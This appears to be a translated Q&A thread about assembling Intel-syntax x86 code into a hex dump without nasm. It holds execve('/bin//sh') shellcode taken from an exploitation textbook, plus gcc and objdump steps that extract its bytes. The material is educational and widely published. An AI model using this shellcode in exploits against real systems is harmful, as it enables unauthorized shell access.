如何编译Intel x86汇编代码以获得十六进制转储?

时间:2014-12-02 08:32:47

标签: linux assembly hexdump

我有以下汇编代码从Erickson的漏洞书中生成一个shell:

; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; Zero out eax.
push eax ; Push some nulls for string termination.
push 0x68732f2f ; Push "//sh" to the stack.
push 0x6e69622f ; Push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.
push eax ; Push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; Push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
mov al, 11 ; Syscall #11.
int 0x80 ; Do it.

但是,我的linux机器没有nasm并且需要我取得管理员来下载软件包。还有其他方法可以将其变为十六进制吗?我知道GCC使用AT& T,但我不知道任何支持Intel x86的方法。

2 个答案:

答案 0 :(得分:3)

答案 1 :(得分:3)

要获得只有十六进制转储,您不需要有效的可执行文件。在您的情况下(没有重定位),我认为在您的操作系统上使用汇编程序在家中组装代码没有问题,获取hex-dump并在目标系统上使用它。只需照顾架构(i386或x86_64)。

以下是在Linux上获取hex-dump的步骤:

test.s(小写' .s')

.intel_syntax noprefix
.text
.global _start
_start:

xor eax, eax # Zero out eax.
push eax # Push some nulls for string termination.
push 0x68732f2f # Push "//sh" to the stack.
push 0x6e69622f # Push "/bin" to the stack.
mov ebx, esp # Put the address of "/bin//sh" into ebx, via esp.
push eax # Push 32-bit null terminator to stack.
mov edx, esp # This is an empty array for envp.
push ebx # Push string addr to stack above null terminator.
mov ecx, esp # This is the argv array with string ptr.
mov al, 11 # Syscall #11.
int 0x80 # Do it.

考虑将评论标记;更改为#

构建并获取hex-dump:

gcc -m32 -c test.s
objdump -F -s -j.text test.o

您还可以使用gdb test.odisass/r _start